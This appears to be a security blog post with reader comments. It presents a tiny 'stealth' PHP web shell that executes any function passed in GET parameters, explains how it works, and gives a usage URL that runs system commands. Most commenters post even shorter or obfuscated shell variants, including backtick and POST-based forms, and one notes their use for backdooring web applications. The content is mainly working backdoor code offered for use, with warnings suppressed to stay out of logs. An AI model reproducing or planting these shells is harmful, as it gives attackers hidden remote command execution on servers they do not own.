Tiny PHP Shell

Have you ever needed a small shell written in PHP?
Of course you have. But I bet it haven't been all too stealth!

This is really pointless, but someone might be interested in it.
So here you go folks!

<?=($_=@$_GET[2]).@$_($_GET[1])?>

It doesn't look like much so let me explain.

PHP allows strings to be interpreted as function calls.
That's a major part on how callbacks in PHP work.

Example:

<?

$array = array(1,2,3);

array_walk($array, 'f');

function f($x){echo $x * 2;}

?>

What the following example does, is that array_walk() iterates through the array $array and applies the function f() on each and every element in the list.
The function f() prints out the value from the array and multiplies it by two.
The output results in: 246.

The fun thing is, if you look on how the callback f() is applied - it's by a simple string. (Look at argument #2 in the first function; array_walk()).

What does that mean?
Well, to put it short, you're able to take a string - and execute it as a function name.
Now, let's try something... fuzzier...

<?

$fuzz = 'phpinfo';

$fuzz();

?>

What might this do?
Will it execute?
Damn right.

Now let's tear my tiny code apart.
It's made out of two parts.

  1. $_=@$_GET[2]
  2. @$_($_GET[1])

The first part takes the value from the GET-variable 2 and stores it in the temporary variable $_.
The second part takes our temporary variable $_, and executes it with the GET-variable 1 as it's one-and-only argument.

The @'s are only there for suppressing notices, warnings and/or fatals from showing up in logs, to the user or whatever else that might catch them.

Conclusion: Copy and paste the snippet, and store it in a PHP-file.
Execute a shell by going to: copypaste.php?1=shell_exec&2=whoami

The response should be something like:
apache
...or as on Windows if you're running your server as a service:
nt authority/system.

Conclusion; PHP is fun!

Ciao!

Hey, I'm Fredrik. I'm from Sweden, born 1990, and I got a huge interest for information technology and information security. So far, I've been studying for three years at the Internation IT College of Sweden and one year at the Royal Institute of Technology (Kista, Sweden). I'm one of the Co-Founders of Detectify. I'm working closely together with the swedish firm Young & Skilled. ...Not to forget, I'm the previous founder of Arctic Security. If you wish to contact me, please email me at h@ackack.net or follow me on twitter @Almroot.

27 Comments

  1. H1fra says:

    Woa. Excellent !

  2. Wireghoul says:

    Hej Fredrik,

    Nice shell. Might be worth noting that it will fail unless short_open_tag is set to 1 in php.ini (which it is by default).

  3. Tiny PHP Shell | lo0.ro says:

    [...] Source [...]

  4. Fredrik Nordberg Almroth says:

    Wireghoul, you're right, thanks for pointing it out!

  5. Chob1X says:

    Great shell!

    But could be smaller like ""

    And more "quiet" in logs by sending args in a POST query, or in the HTTP Headers!

    Great job! :)

  6. Fredrik Nordberg Almroth says:

    Haha yeah, totally. But then again! It would be bigger :P
    A byte is a byte! Just learnt some nifty stuff about variable dereferences from the IRC, and Mathias managed to get it a few bytes shorter too. We might just write another post!

  7. Fredrik Nordberg Almroth says:

    Fun stuff.
    < ?php=($_=$_POST).($_1='_').($_2=array_shift($$_1)).$_2($_[0]);?>

  8. Gareth Heyes says:

    Cool shell but how about non-alphanum as well? :)
    http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/

  9. Raz0r says:

    Nice one! Check out my webshell which is even shorter: http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/

  10. Fredrik Nordberg Almroth says:

    (Gotta post it here too...) Mathias variant of Gareth Heyes shell, using multiple arguments: http://downloads.ackack.net/heyes_technique_multi.txt

    Also, that's cool Raz0r! We're starting to get a fine collection of nifty shells here!

  11. Jason Hazel says:

    This version can only be used to execute shell commands on a Linux system, but my goal was to make something shorter yet almost as functional.

  12. Jason Hazel says:

    Just realized that my code didn't actually get displayed.

  13. Jason Hazel says:

    Yeah, throwing some spaces in there didn't work either. Here is a link to my G+ post on this. The code is there.

    https://plus.google.com/112090713801465905906/posts/5g4i7kE48Ta

  14. Fredrik Nordberg Almroth says:

    It works just fine on MS Windows as well! However, if the GET-variable 1 is not specified, you'll get a notice; I solved it using a @.
    My solution: < ?=@`$_GET[1]`?>

    Nice one tough, I didn't think of the backticks at all. :P

  15. Raz0r says:

    @Jason Hazel
    Actually, it is quite the same what I have posted above. And yes, it works in Windows.

  16. [PHP- Backdoor] Tiny Shell says:

    [...] Tutta la ricerca la potete trovare sul sito dell’autore di questa piccola ma potente shell: http://h.ackack.net/tiny-php-shell.html Buon inject [...]

  17. idwar says:

    woa, so cool

  18. fb1h2s says:

    @r4zor, backtic method is great, but your code requires register_globals 'ON' , which is not by default, that's a concern .

  19. Thomas Stig Jacobsen says:

    Another tiny shell in 14 or 15 bytes: <?=@`$_GET[c]`;

    You can remove the @ if you don't care about logs. Execution with the backticks of course.

    Otherwise, nice post Frederik

  20. Non alphanumeric code in PHP « zhuohang says:

    [...] a small php shell was tweeted around and it inspired me to investigate a way to execute non-alphanumeric code. First [...]

  21. Tiny PHP Shell | #: RootkitSecurity :# says:

    [...] From:http://h.ackack.net/tiny-php-shell.html Have you ever needed a small shell written in PHP? Of course you have. But I bet it haven’t been all too stealth! [...]

  22. Anti Alphanum PHP Shell | Ack Ack says:

    [...] my release about the Tiny PHP Shell, Mr. Gareth Hayes @ The Spanner made a non-alphanumeric variant. I got inspired by his nifty script [...]

  23. Anti Alphanum PHP Shell 一个非常好的思路 » 逍遥叹'blog says:

    [...] my release about the Tiny PHP Shell, Mr. Gareth Hayes @ The Spanner made a non-alphanumeric variant. I got inspired by his nifty script [...]

  24. Sandeepl337 says:

    Gr8 idea , using non alphanumeric we can make a backdoored webapplication easily :) ...

  25. singyea says:

Leave a Comment